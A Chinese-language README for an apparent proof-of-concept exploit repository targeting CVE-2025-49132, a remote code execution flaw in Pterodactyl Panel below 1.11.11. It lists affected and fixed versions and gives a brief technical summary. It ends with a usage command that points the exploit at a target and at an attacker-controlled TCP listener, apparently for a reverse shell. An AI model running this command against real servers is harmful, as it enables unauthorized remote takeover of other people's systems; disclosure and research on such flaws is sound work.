CVE-2025-49132 PoC 作者：Pwndalf

概述

本仓库包含 CVE-2025-49132 的概念验证（PoC）利用代码，此漏洞是一个影响 Pterodactyl Panel < 1.11.11 的远程代码执行（RCE）漏洞。 该 PoC 在受控实验室环境中开发并测试，仅供研究和教育目的使用。

受影响版本

• 低于 1.11.11 的 Pterodactyl Panel 版本

修复版本

• Pterodactyl Panel 1.11.11 及更高版本

技术摘要

该漏洞源于请求处理器对用户可控输入的验证不足，导致意外的后端交互。 在特定条件下，这可能导致远程命令执行。

要求

• Python 3.8+
• 一个 TCP 监听器

使用

python3 exploit.py -t <target> -l <listener_ip> -p <listener_port>